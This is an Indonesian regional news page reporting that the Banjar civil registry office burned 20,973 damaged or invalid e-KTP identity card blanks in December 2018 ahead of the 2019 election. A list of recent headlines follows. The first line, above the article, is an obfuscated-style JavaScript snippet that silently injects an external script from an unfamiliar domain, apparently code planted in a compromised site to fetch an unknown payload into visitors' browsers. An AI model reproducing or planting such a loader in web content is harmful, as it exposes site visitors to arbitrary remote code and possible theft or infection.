(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

20.973 e-KTP Rusak Maupun Invalid Dimusnahkan Disdukcapil Banjar


MARTAPURA, Berdasarkan surat edaran Mentri dalam Negri Nomor 471.13/24149/Dukcapil tanggal 17 Desember 2018, Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Banjar gelar pemusnahan ribuan keping blangko e-KTP yang rusak dan invalid di halaman Disdukcapil Banjar, Jumat (21/12).

Kepala Dinas Disdukcapil Kabupaten Banjar Azwar mengatakan adapun e-KTP yang rusak dan invalid tersebut berjumlah 20.973 keping. Pembakaran tersebut menyusul instruksi Kemendagri untuk memusnahkan e-KTP rusak maupun invalid sehingga tidak dipergunakan untuk tujuan kriminalitas maupun pelanggaran pemilu 2019.

“Pemusnahan ini kita lakukan menyusul intruksi Kemendagri agar tidak dipergunakan untuk tujuan pelanggaran pemilu 2019 mendatang,” akunya.

Lebih jauh Azwar mengatakan, e-KTP yang invalid dan rusak tersebut sebelumnya hanya dikumpulkan dan dilakukan pemotongan sebelum dikirim ke pusat sejak akumulasi selama tahun 2012 yang lalu. Namun, seiring maraknya kasus kececer di beberapa daerah, membuat pemerintah pusat menginstrusikan pembakaran sampai e-KTP yang invalid dan rusak tak tersisa lagi.

Ketika ditanya awak media mengapa Disdukcapil Banjar agak terlambat jika dibandingkan daerah lain untuk melakukan pemusnahan e-KTP yang invalid dan rusak tersebut, Azwar menjelaskan dalam pengumpulan e-KTP yang invalid dan rusak memang membutuhkan waktu yang tidak singkat. Mengingat daerah yang tersebar di Kabuapten Banjar mempunyai jarak yang tak dekat.

“Sebenarnya bukan terlambat, namun kita harus mengumpulkan e-KTP yang invalid dan rusak tersebut terlebih dahulu dari 20 Kecamatan yang berada di Kabupaten Banjar sehingga itu memakan memerlukan sedikit waktu,” pungkasnya.

Sementara itu tanggapan serupa juga diutarakan Bupati Banjar KH Khalilurrahman yang mengatakan  adapun e-KTP yang invalid dan rusak tersebut sebagai dalam upaya menghindari hal-hal yang tidak diinginkan terlebih dengan tujuan pelanggaran saat pemilu tahun pemilu.

“Saya mengharapkan dengan dilakukannya pemusnakah yang dilakukan oleh Disdukcapil Banjar ini mampu meminimalisir dan menghindari hal-hal yang tidak diinginkan, terlebih ditahun pemilu ini,” ujarnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

2 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

3 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

5 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

6 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

7 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

7 jam ago

This website uses cookies.